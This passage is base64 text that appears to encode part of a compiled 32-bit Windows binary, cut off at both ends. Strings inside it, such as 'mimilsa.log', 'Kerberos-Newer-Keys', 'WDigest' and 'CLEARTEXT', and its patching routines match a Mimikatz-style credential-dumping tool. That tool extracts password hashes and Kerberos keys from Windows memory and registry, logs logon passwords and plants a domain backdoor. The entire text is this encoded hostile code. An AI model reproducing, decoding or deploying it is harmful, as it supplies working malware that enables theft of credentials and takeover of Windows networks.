fYPiAsBAACDfQwAdWmNRfxQjUXoUP91+P8VAEEHEIvwhfYPiOEAAACLTfyFyQ+E1gAAAIt9CIsBiQeLQQSJRwQPt0cCUGpA/xXYQwcQiUcEhcB0FA+3TwJRi038/3EEUOhDfgIAg8QM/3X8/xXEQAcQ6ZMAAACNRfBQagKNRehQ/3X4/xUEQQcQi/CF9nh6jUXYUI1F9FCNRdBQjUX8UP918P8VDEEHEIvwhfZ4UotN/IsdxEAHEIXJdDqLfQiLAYkHi0EEiUcED7dHAlBqQP8V2EMHEIlHBIXAdBQPt08CUYtN/P9xBFDou30CAIPEDP91/P/Tg330AHQF/3X0/9P/dfD/FVRABxD/dfj/FVRABxBfi8ZeW4vlXcOD7BBTVo1EJBCL2VBTi/KJXCQU/xXoRQcQhcAPiPsBAAAPt1QkEDPJi0QkFNHqVVdmiUxQ/otsJByLBoPFAolsJBCD6AEPhCYBAACD6AF0VP82aKiFCRDoaun7/4tcJCyLzmgAACAAi9PoZCD8/2i0/wcQ6E7p+/+DxBCDfCQoAA+EiQEAAGiMhQkQVWoAugRSCBC5JIUJEOi6o///i+7pKgEAAGgIhQkQ6Bjp+/9qAf92BI1WDIvL6OI+//+LVgQz/1lZ/3QkLFVRaCSFCRBXjU4M6PGe//+DxBg5fCQoD4QqAQAAi14IjW4MA24EuhixCBBo9CYJEP90JBS5JIUJEFfoUKP//4PEDIlEJBSFwHQ/UFBR/3YEjUYMi9NQi83oEa37/4PEELlEJAkQhcC+TCQJEA9EzlFoMIUJEOiE6Pv/g8QM/3QkFP8V9EMHEOsFvkwkCRBouCUJEP90JBS6GLEIELkkhQkQV+joov//62JobIUJEOhL6Pv/i1wkKI1uBItMJBgz/4PD/IvVV1PoCz7//2gAACAAi9OLzegwH/z/aLT/BxDoGuj7/4PEFDl8JCh0WmiMhQkQ/3QkFLqUhQkQuSSFCRBX6Imi//++TCQJEIv4g8QMhf90M4XtdCiF23QkV1OL1YvP6EXL+/+FwLhEJAkQWQ9ExlBo6IUJEOjB5/v/g8QMV/8V9EMHEI1EJBhQ/xUkRgcQX11eW4PEEMOD7HxTVVZXagaL6YlUJBhZakqNRCQ8viSGCRCNfCQkuwEAAMBqAPOlUOjduwAAg8QMM8BmiYQkgAAAAI1EJBhQVf8V6EUHEIXAeG+LdCQcjUQkGGoSWYPGAo18JDbzpVD/FSRGBxD/tCSUAAAAi4wklAAAAI1EJBxQjVQkKOjw+///i9hZWYXbeCMPt0wkGP90JBSLVCQgUYvN6D/9//9ZWf90JBz/FfRDBxDrDVNoQIYJEOjs5vv/WVlfXl2Lw1uDxHzDVYvsg+T4g+wkU1aLdQgz21eLfQyLzlNTaGjmCBCL14lcJCCJXCQY6BYg/P+DxAyJRCQQi9eLzlNTaOyGCRDo/x/8/4PEDIvYjUQkDIvXi85qAFBokFIIEOjlH/z/g8QMjUQkFIvXi85qAFBoYFgJEOjNH/z/i3QkIIPEDIX2dGpWjUQkHFD/FThGBxCNRCQgUI1EJBxQ/xXkRQcQhcB4Nmi0/wcQ6Dbm+/9ZjUwkIOiEHvz/aPyGCRDoIub7/4tUJBRZU/90JBCNTCQo6Gv+///p3AAAAFZQaDiHCRDo/uX7/4PEDOnKAAAAaKiHCRDo7OX7/4t0JBCNRCQcWVNQuuSHCRCLzuij+v//WVmFwHgzi0wkHOgeHvz/aLT/BxDovOX7/4t8JBSL11mLTCQcU1boBv7//1lZ/3QkHP8V9EMHEOsRUGgQiAkQ6JHl+/+LfCQYWVloqIgJEOiB5fv/WY1EJBi65IgJEFNQi87oPPr//1lZhcB4L4tMJBzotx38/2i0/wcQ6FXl+/9Zi0wkHIvXU1boo/3//1lZ/3QkHP8V9EMHEOsNUGgQiAkQ6C7l+/9ZWV9eM8Bbi+Vdw4PsEItUJBiLTCQUU1Uz7VVVaGjmCBCJbCQU6GYe/P+LVCQsi0wkKFVVaOyGCRDoUh78/4tUJDiL2ItMJDSNRCQkVVBogNgIEOg4Hvz/g8QkhcB0X4tUJCCNRCQIi0wkHFVQaJBSCBDoGR78/4tUJBiNRCQci0wkFFNQ6HL5//+DxBSFwHggD7dUJBCLTCQUaAEAEADolhv8/1n/dCQU/xX0QwcQ6w1QaACJCRDocuT7/1lZXTPAW4PEEMNovAEAAGgQNAoQ6JCXAgAz9ol10Il1yGo8Vo2FxP7//1DoqbgAAGiIAAAAVo2FAP///1Dol7gAAIl13GiQAAAAVo2FNP7//1DogrgAAIl1zIl14Il1xIl15Il11FaNRcRQaNi7CBCLVQyLTQjoWR38/4PEMIXAdRSNTdDoBNf7/4XAdAiLRdCLeAzrA4t9xIX/D4TVAgAAai5X6E+tAABZWYXAD4TDAgAAV2jouwgQ6LTj+/9WjUXkUGjQuwgQi1UMi00I6AEd/P+DxBSFwHU2Vo1F5FBonIkJEItVDItNCOjlHPz/g8QMhcB1Go1F1FBqEFqLz+hF1/v/WYtd5IXAD0Vd1OsDi13khdsPhFQCAABTaMi8CBDoTOP7/1aNReBQaGBYCRCLVQyLTQjomRz8/4PEFIXAdSZWjUXMUGjA8QgQi1UMi00I6H0c/P+DxAyFwHUKaOCMCRDpEwIAADl14HQK/3XgaKSJCRDrCP91zGjgiQkQ6O7i+/9ZWWg2mgAQjUXYUFZoKIoJEFaL07k0igkQ6JIC/P+DxBSFwA+E1AEAAI1FiFCNhcz+//9Q/3Xg/3XMjYUA////UFeL041N2OjVCPz/g8QYhcAPhIEBAAA5daR0D/91pGhQigkQ6IXi+/9ZWY1FiFCNRchQjZUA////jU3Y6PgK/P9ZWYXAD4RNAQAAjYXE/v//iYUg////x4VE////MIAoADPbQ4mdSP///8eFTP///wAAoADHhVD///8GAAAAiXX8jYU0/v//UI1F3FCNhQD///9Qagj/dcjorRP8/4PEFIXAdWKDfdwGdTY5nZz+//91LouNpP7//+hCDfz/hcB0EouNpP7//41JDIvX6EsCAADrI2iYigkQ6NHh+/9Z6xb/tZz+////ddxoKIsJEOi74fv/g8QMjZU0/v//i03c6FkQ/P/rD1BQaPCLCRDonOH7/4PEDI1FyFDoABP8/1mDTfz/63OLReyLAIsAiUXAPQUAAMB0Qz0CAACAdDw9lgAAwHQ1PR0AAMB0Lj0DAACAdCc9/QAAwHQgPQYAAMB0GT0gBADAdBI9CQQAwHQLPQEAAIB0BDPAQMMzwMOLZej/dcD/dcBoaIwJEOgf4fv/g8QMg038/zP2jUXYUP8VVEQHEIXAdReJddjrEmhgjQkQ6wVo4I0JEOjy4Pv/WYN91AB0Cf911P8V9EMHEIN90AB0Cf910P8VxEAHEDPA6D+UAgDDU1VWi3QkEDPAi+qL2VeF9nQCiQaLVCQYhdJ0AokCi/g5A3Yui0sEOSl0CkeDwQw7O3L06x2DeQQBdReLQQiLQASF9nQCiQaF0nQHi0kIiwmJCl9eXVvDVYvsUVFWi/GLwotVCI1N+FGNTfxRi8jojf///1lZhcB0JotF+Gi0/wcQ/3X80eiF9lC47P0HEA9FxlBogI4JEOgv4Pv/g8QUXovlXcOD7BBTVVZXi/oz2zP2i+mF/3R4jUQkEFCNRCQoUI0ELlD/FfxABxAz24XAD5nDhdt0R4N8JCwAdBmLxsHoBFD/dCQsaJSOCRDo2t/7/4PEDOsQ/3QkKGiwjgkQ6Mff+/9ZWWoAahBajUwkFOjDFvz/xwQktP8HEOsFaMiOCRDopN/7/4PGEFk793KIX15di8Nbg8QQw1NWV4vxi/pRaAEACQCL1rlMjwkQ6AX///9otP8HEOhv3/v/M9u63QAJAFNTi87olP7//4PEFIvOhcB0CF9eW+moAAAAU1O6hQAJAOh3/v//WVmFwHQMi9eLzl9eW+nTBQAAX15bw7gAAAAwO8h3RXQ9g+kAdDKB6QAAABB0JIPpAXQZgen///8PdAuD6QF1PriIlAkQw7hslAkQw7g4lAkQw7gclAkQw7gAlAkQw7i8lAkQw4HpAQAAMHQqg+kBdB+B6f7//w90EYPpAXQGuARSCBDDuDCVCRDDuBCVCRDDuPSUCRDDuNSUCRDDUVFVVldoUJUJEIvx6JXe+/9o3QAJAIvWuXiVCRDoEP7//4vWxwQkkAIJALmolQkQ6P39//8z7Y1EJBRVULouAQkAi87okv3//4PEEIXAdByLRCQMixCLyugd////UFJo2JUJEOg93vv/g8QMjUQkDLoIAAkAVVCLzuhd/f//WVmFwHRFU4tcJBD/M2gglgkQ6BHe+/9ZWYv9M8CLz0DT4IUDdBP/NL0g7gcQaAyECBDo8d37/1lZR4P/IHLcaKw8CBDo3937/1lbjUQkDLqfAAkAVVCLzugA/f//v7T/BxBZWYXAdBtoYJYJEOi23fv/i0wkEOjhFfz/V+in3fv/WVmNRCQMumAACQBVUIvO6Mj8//9ZWYXAdBtokJYJEOiD3fv/i0wkEOiuFfz/V+h03fv/WVmNRCQMupIACQBVUIvO6JX8//9ZWYXAD4QaAQAAaMCWCRDoTN37/4tMJBDozRX8/1foPd37/1lZ/3QkDP8VIEEHEA+2AEhQ/3QkEP8VGEEHEIs4V2jwlgkQ6BXd+/9oKJcJEOgL3fv/jUQkHLpaAAkAUI1EJByLzlDoKvz//4PEFIXAdBeLVCQQi0wkDFVorGgJEFfos/z//4PEDI1EJBC6XgAJAFCNRCQQi85Q6Pb7//9ZWYXAdBiLVCQQi0wkDGoBaKRgCRBX6H/8//+DxAyNRCQQujcACQBQjUQkEIvOUOjC+///WVmFwHQXi1QkEItMJAxVaLhoCRBX6Ez8//+DxAyNRCQQuqAACQBQjUQkEIvOUOiP+///WVmFwHQYi1QkEItMJAxqAWhIlwkQV+gY/P//g8QMjUQkELp9AAkAUI1EJBCLzlDoW/v//1lZX15dhcB0FmhUlwkQ6BPc+/+LTCQEg8QM6QMAAABZWcNVi+yD5PiD7CCDJCQAi8FTVTPJiUQkHI1YcFZXiVwkFGY7SG4Pg3UCAACLLTxGBxBmiwNmiUQkKmaJRCQojUMGiUQkLA+3Aw+3ewIDw4lEJByNRCQoUGiMlwkQ0e/ootv7/1lZV2pA/xXYQwcQi/CF9g+E/QEAAINkJBgAhf90N4tsJBiLXCQcjUQkIFCNQwaNBGhooJcJEFDoVL///4pEJCyDxAyIBC5FO+9y24tcJBSLLTxGBxBqAY1EJCxQaOx6ChD/1YTAD4WEAQAAagGNRCQsUGiQegoQ/9WEwA+FbgEAAGoBjUQkLFBoNHwKEP/VhMB0SjP/gH4DAA+GYQEAAI1uEEdXaPB/CRDo9Nr7/2oAahBai83o9BH8/2i0/wcQ6N7a+/8PtkYDg8QQg8UQO/hy0IstPEYHEOkjAQAAagGNRCQsUGj0egoQ/9WEwHRGi0YMA8ZQD7dGCNHoUGgIgAkQ6Jza+/8Pt0YEjVYQaDyACRBQi87oQej//w+3TgaL0GhUgAkQUYvO6C7o//+DxBzpywAAAGoBjUQkLFBo3HoKEP/VhMB0bP92FItGEAPGUA+3RgzR6FBoeIAJEOhB2vv/D7dGBI1WGGg8gAkQUIvO6HHo//8Pt04Gi9Bo5IAJEFGLzuhe6P//D7dOCIvQaFSACRBRi87oS+j//w+3TgqL0GgMgQkQUYvO6Djo//+DxDDrTWoBjUQkLFBoLHwKEP/VhMB0HGgwgQkQ6NPZ+/9qAIvXi87o1BD8/2i0/wcQ6xdoqJcJEOi32fv/agHr4lbR71do3H8JEOil2fv/g8QMaLT/BxDomNn7/1lW/xX0QwcQD7cDD7dLAoPABotUJBAD2ItEJCRCA9mJVCQQiVwkFA+3QG470A+Ckf3//19eXVuL5V3DVYvsg+T4g+wsU1ZXaNCXCRCL2ov56EPZ+/9ZjUQkELqFAAkAUI1EJBiLz1DoYfj//1lZhcAPhKAAAACLRCQQZolEJBpmiUQkGItEJBSJRCQcjUQkGFBoGJgJEOj92Pv/izX0RQcQjUQkIFlZagFQjUQkMFD/1oXAeGFTjUQkNFD/FThGBxBqAY1EJDRQjUQkKFD/1os1JEYHEIXAeDaNRCQouoEACQBQjUQkJIvPUOguAAAAjUQkMLqHAAkAUI1EJCyLz1DoGAAAAIPEEI1EJCBQ/9aNRCQoUP/WX15bi+Vdw4PsDI1EJAhTVVZXUI1EJBiL8lDomPf//1lZhcB0aoH+gQAJAHUUi3wkILjQgwkQi1wkJL3ogwkQ6xKLfCQkuNyDCRCLXCQgvfSDCRCLdCQUgz4AdDOLTgSFyXQTU1dQjQQxM9JQM8no1eb//4PEEItGCIXAdBJTVwPGM9JVUDPJ6Lzm//+DxBBfXl1bg8QMw1WL7IPk+IHsJAEAAFNWi3UMjUQkIFeLfQgz21NQaNC7CBCL1sdEJBwtXHwvi8/HRCQgLVx8L4lcJBjHRCRA//8PYOgGEfz/g8QMhcAPhBQDAABTjUQkLIvWUGjA8QgQi8/o5xD8/4PEDIXAD4TuAgAA/3QkKI1EJDCL1lBoUJgJEIvP6MUQ/P9o/A4IEI1EJDCL1lBoYJgJEIvP6K0Q/P9TjUQkTIvWUGikYAkQi8/omRD8/4PEJIXAD4SZAgAAi0wkMI1UJGxqEF9X6FkN/P9ZhcAPhHgCAACNRCQ4UI1EJBRQ/3QkKP90JDD/FdBFBxCFwA+IUAIAAI2EJMgAAABQ/xWsRQcQizWwRQcQjUQkDGoEUI2EJNAAAABQ/9ZqCI1EJBRQjYQk0AAAAFD/1moIjUQkPFCNhCTQAAAAUP/WjYQkyAAAAFD/FbRFBxBXjUQkRLkDgAAAUFeNhCQsAQAAUFeNlCSAAAAA6FaO+/+DxBSFwA+E9wEAAI1EJEBQjVQkHI1MJBTo7gEAAI1EJERQjVQkWI1MJEDo3AEAAFlZjUQkNFCNRCRcUI1EJCBQ/3QkLGoG/3QkPP90JDz/FcxFBxCFwA+IdgEAAI1MJFCLAY1UJFg7Ag+FXQEAAItBBDtCBA+FUQEAAIs9HEEHEIvDi0wkHL5kAADAi1QkGIlEJAyD+AQPgx0BAABqEFgD0IlEJGiNRCRAiVQkGBPLjVQkYIlMJByNTCQYUOhKAQAAWY2EJIwAAABQjYQkgAAAAFCNhCTEAAAAUI1EJGxQ/3QkMItEJCD/NIUg8AcQ/3QkRP90JED/FchFBxCL8IX2D4iJAAAA/3QkLGh0mAkQ6GjV+/9ZWY2EJJwAAABQjUQkRFCNhCSEAAAAUP/XjYQkrAAAAFCNRCREUI2EJJQAAABQ/9dolJgJEOgu1fv/U2oQWo2MJKQAAADoKgz8/2i0/wcQ6BTV+/9orJgJEOgK1fv/U2oQWo2MJMAAAADoBgz8/2i0/wcQ6PDU+/+DxBiLVCQYi0wkHIPCAYtEJAwTy4lUJBhAiUwkHIlEJAyB/mQAAMAPhNr+//+F9nlFVmjImAkQ6LTU+/9Z6zZoWJkJEOsqUGgQmgkQ6+lQaJiaCRDr4WggmwkQ6xNowJsJEOsMaDCcCRDrBWignAkQ6HvU+/9ZX14zwFuL5V3DVYvsUVFTVot1CI1F+IvaUFZRgyMAg2MEAP8VEEEHEFONRgdQjUX4UP8VEEEHEF5bi+Vdw1WL7IHsnAEAAFZXg2X4AMeF9P7//0MATADHhfj+//9FAEEAx4X8/v//UgBUAMeFAP///0UAWADHhQT///9UAAAAM8CNvQj///+rq6urq8eFHP///1cARADHhSD///9pAGcAx4Uk////ZQBzAMeFKP///3QAAABqBlkzwI29LP////Orx4VE////SwBlAMeFSP///3IAYgDHhUz///9lAHIAx4VQ////bwBzAIOlVP///wAzwI29WP///6urq6urx4Vs////SwBlAMeFcP///3IAYgDHhXT///9lAHIAx4V4////bwBzAMeFfP///y0ATgDHRYBlAHcAx0WEZQByAMdFiC0ASwDHRYxlAHkAx0WQcwAAAMdFlE4AVADHRZhMAE0Ax0WcLQBTAMdFoHQAcgDHRaRvAG4Ax0WoZwAtAMdFrE4AVADHRbBPAFcAx0W0RgAAADPAiUW4ahJYZolFvGoSWGaJRb6NhfT+//+JRcBqDlhmiUXEag5YZolFxo2FHP///4lFyGoQWGaJRcxqEFhmiUXOjYVE////iUXQaiZYZolF1GomWGaJRdaNhWz///+JRdhqIlhmiUXcaiJYZolF3o1FlIlF4GoBaAAAABCNReRQagC4QUFBQf/QhcAPjLYCAACNRehQagW4SEhISP/QhcAPjJYCAACNRexQi0Xo/3AIaAAAABD/deS4RERERP/QhcAPjGkCAACNRfRQi0UI/3AYaAAAABD/dey4RUVFRf/QhcAPjD0CAACDZfwA6weLRfxAiUX8g338Bg+D5AAAAGtF/BiDpAV4/v//AGtF/BiDpAVo/v//AGtF/BiLTfyJjAVk/v//a0X8GMeEBXT+//+AAAAAg338AHQ3a0X8GI2EBWj+//9Qa0X8GI2EBXj+//9Qi0X8jUTFtFD/dfS4Q0NDQ//Qa038GImEDXT+///rMmtF/BjHhAVo/v//JAAAAGtF/BiNhAV4/v//UGoS/3X0uEZGRkb/0GtN/BiJhA10/v//a0X8GIO8BXT+//8AfC1rRfwYg7wFeP7//wB0H2tF/BiDvAVo/v//AHQRa0X8GItN+AOMBWj+//+JTfjpC////4tF+IPAaItNCIlBDGoEaAAwAACLRQj/cAxqALhKSkpK/9CJRfCLRQiLTfCJSBCDffAAD4T/AAAAg2X4AItFCItAEMcABgAAAINl/ADrB4tF/ECJRfyDffwGD4PYAAAAa0X8GIO8BXT+//8AD4zBAAAAa0X8GIO8BXj+//8AD4SBAAAAa0X8GIO8BWj+//8AdHOLRfiDwGhrTfwYiYQNbP7//2tF/BiNtAVk/v//i0UIi0AQi038weEEjXwICKWlpaVrRfwY/7QFaP7//2tF/Bj/tAV4/v//a0X8GItNCItJEAOMBWz+//9RuExMTEz/0IPEDGtF/BiLTfgDjAVo/v//iU34g338AHQUa0X8GP+0BXj+//+4S0tLS//Q6xRqEmtF/Bj/tAV4/v//uEdHR0f/0OkX////jUX0ULhCQkJC/9CNRexQuEJCQkL/0P916GoFuElJSUn/0I1F5FC4QkJCQv/QM8BfXovlXcIEAFWL7LhyYXNsXcNqFmj8nwkQaha6FKAJELksoAkQ6KEDAACDxAwzwMNqKmg8oAkQaiq6aKAJELmUoAkQ6IMDAACDxAwzwMNqHmisoAkQah66zKAJELnsoAkQ6GUDAACDxAwzwMNRM9K5oHwKEGoAaAShCRBC6NLR+/+DxAwzwMOLTCQEi1QkCDsRchyLQQgDATvQcxP/cRBoHKEJEOj4zvv/WVkzwOsDM8BAwggAgeyIAAAAU1VWV2oEXo1EJBOJdCRQiUQkRDPtjUQkFIl0JGyJRCRgM9tDiUwkNGoCWIlEJGS+TAEAAIlEJGiL/TPAiXwkGGY71sZEJBPpumSYChBmx0QkFP8lD5XAZsdEJBxQSIlEJHCNdCRQjUQkHMZEJB64iUQkfI1EJBiJRCQ4iwGJRCQsi0EEiUQkMIvFiWwkQIlcJEiJXCRMiVwkVIlsJFiJXCRciVwkdIlsJHjHhCSAAAAAAwAAAMeEJIQAAAADAAAAx4QkiAAAAAQAAACJrCSMAAAAiawkkAAAAIlsJCSJVCQoiVQkPIlEJCCD+AMPg6IAAACLjCScAAAAO07wD4KCAAAAix6LbvwD3VNqQP8V2EMHEIlEJCSFwHRii1QkNI1MJCRT6BLD+/+LfCQoWYXAdET/dvhX/3b06CdoAgCDxAyFwHUxg34EAIsEL3QGA0QkLAPDg34IAIlEJBh0GGoEjVQkMIlEJDCNTCQ86MrC+/+LfCQoWVf/FfRDBxCLRCQgi3wkGECDxhyJRCQghf8PhFX///+Lx19eXVuBxIgAAADDVYvsg+T4g+wMU1aLdQhXM/+L34tGHIlEJBCLRiCJRCQUOX4cD4SQAAAAZosWjUwkEFPoIv7//4lEJBRZhcB0F4tNDIsRO8JyCYtJCAPKO8F22Iv4Q+vThf90X4tFDP9wEFNoLKEJEOjZzPv/g8QMg34MAHQK/3YMaEihCRDrCP92BGhUoQkQ6LnM+/9ZWVf/dhxoYKEJEOipzPv/i04gg8QMuk+lBBBX6MHR+//HBCS0/wcQ6IzM+/9ZXzPAXkBbi+VdwggAi0wkBLokpwQQUegc2fv/M8BZQMIIAFWL7ItFCFaLcESD/gR2bVaDwDhQaHihCRDoS8z7/4PEDFZqAGgAAACA/xW8QwcQi/CF9nQ0jUUIM8lQi9ZB6IzA+/9ZhcB0GItNCLrqpwQQagDoO9H7/1mLTQjoGsH7/1b/FexDBxDrE/8V5EMHEFBokKEJEOjvy/v/WVkzwEBeXcIIADPSuQCoBBDoSdD7/zPAw1WL7IPk+IPsVFNWV4vBM/+LTQyL2leJTCQkumSYChCNTCREiVQkMFFXV1dXUYlUJEAzyWoEi9CJRCQ0iXwkOIl8JDyJXCRI6DrX+/+DxCCFwA+E5AAAAItUJECNRCQcM8lQQejUv/v/WYXAD4SuAAAAUYtMJCCNVCRU6KrU+/9ZhcAPhI4AAACLRCRYjVQkEI1MJBiJRCQY6BzV+/+FwHR1i3QkEI1UJCiLRCQcUVdXiUQkQI1MJDyLRjRXiUQkQItGUFf/dRCJRCRQjUQkOFD/dQjoNcz7/4v4g8Qghf90G/90JDz/dQxT/3QkIGgYogkQ6N/K+/+DxBTrE/8V5EMHEFBocKIJEOjJyvv/WVlW/xX0QwcQi0wkHOjIv/v//3QkQP8V/EUHEP90JESLNexDBxD/1v90JED/1ovHX15bi+Vdw1WL7IPsSMdF7G1pbWnHRfBsc2Eux0X0bG9nAMdF+GEAAADHRbhbACUAx0W8MAA4AMdFwHgAOgDHRcQlADAAx0XIOAB4AMdFzF0AIADHRdAlAHcAx0XUWgBcAMdF2CUAdwDHRdxaAAkAx0XgJQB3AMdF5FoACgCDZegAjUX4UI1F7FC4QUFBQf/QWVmJRfyDffwAdDyLRRCDwBhQi0UQg8AIUItFEIPAEFCLRRD/MItFEP9wBI1FuFD/dfy4QkJCQv/Qg8Qc/3X8uENDQ0P/0Fn/dRT/dRD/dQz/dQi4RERERP/Qi+VdwhAAVYvsuHBzc21dw1WL7IPk+IHshAAAAA8oBcAvChCNVCQEU1a48KIJEMdEJBxkmAoQVzP2iUQkUIlEJGC5JKMJEIlEJHCNRCRQagRbiXQkHMdEJFQIowkQx0QkWEFBQUGJdCRcx0QkZBCjCRDHRCRoQkJCQol0JGzHRCR0HKMJEA8RRCR4x4QkiAAAAERERESJtCSMAAAAiVwkJIlEJCjo+M37/4XAD4QvAgAA/3QkEFZoOAQAAP8VvEMHEIv4hf8PhAcCAACNRCQYM8lQi9dB6Du9+/9ZhcAPhOYBAACLTCQYjUQkPFC6OKMJEOit0fv/WYXAD4TBAQAAi0QkPIvT/zV0ngoQiUQkMLnwfAoQi0QkRIlEJDSLRCRIiUQkOOgZy/v/i/BZhfYPhIwBAACLTgiNRCQsUYlMJCCNTCQgi1YEUOhzv/v/WVmFwA+EVgEAAIteGIPDBVNqQP8V2EMHEIlEJByFwA+ETgEAAItEJDiNVCQUA0YUjUwkHIlEJDiJRCQU/3YY6HK9+/9ZhcAPhPQAAACLVhiLTCQcoId1ChBqQIgEEYvTjUwkGOhRwPv/WYXAD4TiAAAAi1QkOItOGCtUJBSLRCQcg+oFU4lUAQGNVCQgi0QkGI1MJBiJhCSQAAAA6BW9+/9ZhcAPhIkAAACLTCQYjUQkFFCNRCQoutepBBBQuMCqBBArwlDo8eX7/4PEDIXAdFSLTCQcjVQkHKCHdQoQiAGLTCQUK0wkOItEJByD6QWJSAGNTCQUi0QkOIlEJBT/dhjosLz7/1mFwHQMaFCjCRDoTcf7/+s8/xXkQwcQUGhwowkQ6yj/FeRDBxBQaACkCRDrGv8V5EMHEFBouKQJEOsM/xXkQwcQUGhIpQkQ6BDH+/9ZWf90JBz/FfRDBxDrE/8V5EMHEFBo0KUJEOjxxvv/WVmLTCQY6Pe7+/9X/xXsQwcQ6yH/FeRDBxBQaEimCRDrDP8V5EMHEFBosKYJEOi+xvv/WVlfXjPAW4vlXcNVi+yD7BzHRfyaAADAx0XkYLpPysdF6NxGbHrHRewDPBeBx0XwlMA99mokagC4SkpKSv/Qi00UiQGLRRSDOAAPhJ0AAACNRfRQ/3UQ/3UM/3UIuENDQ0P/0IlF/IN9/AB8aGoQ/3X0i0UU/zC4TExMTP/Qg8QMjUX4UP91EGoQjUXkULhDQ0ND/9CJRfyDffwAfCJqEP91+ItFFIsAg8AQULhMTExM/9CDxAz/dfi4S0tLS//Qi0UUiwCLTQiJSCD/dfS4S0tLS//Qg338AH0Si0UU/zC4S0tLS//Qi0UUgyAAi0X8i+VdwhAAVYvsg+wcx0X4mgAAwItFGIsAiUX0x0XkYLpPysdF6NxGbHrHRewDPBeBx0XwlMA99v91EGoAuEpKSkr/0IlF/IN9/AB0ff91EP91DP91/LhMTExM/9CDxAz/dRj/dRT/dRD/dfz/dQi4RERERP/QiUX4g334AH1Bi0UYi030iQj/dRj/dRT/dRD/dfyLRQiDwBBQuERERET/0IlF+IN9+AB8FmoQjUXkUItFCP9wILhMTExM/9CDxAz/dfy4S0tLS//Qi0X4i+VdwhQAVYvsuGxla3Ndw1WL7IPk+IHspAAAAA8oBdAvChC4FHcJEFNWM/aJRCRcgT10ngoQiBMAAIlEJGyNRCRcDxGEJIQAAABXDygFwC8KEIl0JBiJdCQcx0QkIGSYChDHRCRkQKcJEMdEJGhKSkpKiXQkbMdEJHSAiggQx0QkeEtLS0uJdCR8x4QkgAAAAAB3CRDHhCSEAAAAIHgJEA8RhCSYAAAAx4QkqAAAAERERESJtCSsAAAAx0QkWAUAAACJRCRcch2LVQyLTQhWVmhMpwkQ6Ir9+/+DxAyFwHUEi/7rAzP/R2h0fAoQjUQkLIl0JCxQiXQkNP8VOEYHEI1UJDC5JKMJEOjmyPv/hcAPhIMCAAD/dCQwVmg4BAAA/xW8QwcQi9iF2w+EVgIAAI1EJBQzyVCL00HoKbj7/1mFwA+ENQIAAIX/iz3kQwcQD4XwAAAAi0wkFI1EJERQulynCRDojcz7/1mFwA+EvQAAAItEJESJRCQ0i0QkSIlEJDiLRCRMUYlEJECNTCQgjUQkOMdEJCB0fAoQUGooWuhvuvv/WVmFwHR+aHSnCRDoTsP7/41EJCyJRCQgjUwkIItEJESJRCQwjUQkOFBqCFroPrr7/1lZhcB0Rv90JEBojKcJEOgZw/v/i0QkSI1UJCRqCI1MJByJdCQ0iXQkOIlEJBzoTrj7/4vwg8QMhfYPhF8BAABoqKcJEOjjwvv/6xxo2KcJEOvyaEioCRDr6//XUGi4qAkQ6MbC+/9ZWYX2D4QuAQAAi0wkFI1EJES+cKkJEFCL1uiby/v/WYXAD4QBAQAAVv8VaEIHEIvwjUQkJFBqF/8VuEUHEIXAD4jyAAAAi0QkJL+2rQQQi9eLSCArzgNMJESJjCScAAAAi0Aoi0wkFCvGA0QkRImEJKwAAACNRCQQUI1EJFxQuG2vBBArx1Dok+D7/4PEDIXAD4SLAAAAaIypCRDoJcL7/4tEJBSNVCQgiUQkHI1EJByJRCQgi0QkKFmLTCREg8AgK84DwY1MJBBqBIlEJBToRrf7/1mFwHRfaLCpCRDo48H7/7ihrgQQjVQkICvHAUQkHItEJChZi0wkRIPAKCvOA8GNTCQQagSJRCQU6Am3+/9ZhcB0ImjcqQkQ6KbB+//rFWgQqgkQ6/L/11BouKgJEOiQwfv/WVmLTCQU6Ja2+/9T/xXsQwcQ6xP/FeRDBxBQaJCqCRDoa8H7/1lZX14zwFuL5V3DVYvsg+wMVuhiZwEAizBWaPiqCRDoR8H7/41F+IvOUI1V9Oirpfv/g8QMhcAPhM8AAACLdfhWaCyrCRDoIMH7/4tN9I1F/FCNRfiL1lDohrv7/4PEEIXAD4SbAAAAZg9uRfyLRfzzD+bAwegfU7tcqwkQU1FR8g9YBMUAMAoQZg9ayGYPbsbzD+bAwe4f8g9YBPUAMAoQZg9awPMPXsjzD1kNoC8KEA9awfIPEQQk/3X8aJCrCRDopcD7//91/ItV+IvL6Aak+/+DxBhbhcB0DGgMrAkQ6IbA+//rEv8V5EMHEFBoGKwJEOhzwPv/WVn/dfj/FfRDBxD/dfT/FfRDBxAzwF6L5V3DgeyMAAAAUzPbx0QkMAEBAACJXCQMiVwkVMdEJDQAAAAFx0QkOCAAAAA5nCSUAAAAdAuLhCSYAAAAiwDrBbjs/QcQUI2EJIwAAABQ/xU4RgcQU2oxjUQkHFCNhCSUAAAAUP8VsEQHEIXAD4hwBAAAjUQkDFCNRCQ0UGgAAwAA/3QkIP8VpEQHEIXAeQ1QaLisCRDowb/7/1lZix24RAcQVYsttEQHEFZXjUQkXFBqAY1EJEBQjUQkbFD/dCQw/xW8RAcQi/CJtCSQAAAAhfZ5ElZogLAJEOh9v/v/WVnpzgMAADP/iXwkVDl8JFwPhrgDAAAz9ol0JFiLRCQ4g8AEA8ZQaCitCRDoTL/7/1lZjUQkNFCLRCQ8g8AEA8ZQ/3QkKP8VkEQHEIXAD4hRAwAAaFCtCRDoH7/7/1mLTCQ06J/3+/+NRCQUUP90JDhoAAMAAP90JCz/FaREBxCFwA+ICAMAAINkJGQAjUQkUFBqAY1EJCxQagCNRCR0UP90JCj/FZhEBxCL+Im8JIwAAACF/3kSV2hIrwkQ6Lu++/9ZWemrAgAAM/aJdCRMOXQkUA+GlQIAADP/i0wkJI1BBAPHUP80D2hwrQkQ6Iu++/+DxAyNRCQwUItEJCj/NAdoGwMAAP90JCD/FahEBxCFwA+IMAIAAI1EJEhQjUQkLFD/dCQ4/xWgRAcQhcB4cDP2OXQkSHZgi0QkKP808GiIrQkQ6DS++/+LRCQwWVmLBPCJRCRojUQkbFCNRCR0UI1EJHBQagH/dCQk/xWsRAcQhcB4D41UJGyNTCRw6DQIAADrDVBoMLcJEOjuvfv/WVlGO3QkSHKg/3QkKP/T6w1QaKCtCRDo0r37/1lZjUQkLFCLRCQo/zQH/3QkOP8VgEQHEIXAD4hkAQAAjUQkEFCNRCQgUI1EJDRQagH/dCQk/xWIRAcQhcB4czP2OXQkHHZji0QkEP80sGgErgkQ6Hq9+/+LRCQYWVmLBLCJRCR0jUQkeFCNhCSAAAAAUI1EJHxQagH/dCQk/xWsRAcQhcB4D41UJHiNTCR86HcHAADrDVBoMLcJEOgxvfv/WVlGO3QkHHKd/3QkEP/T6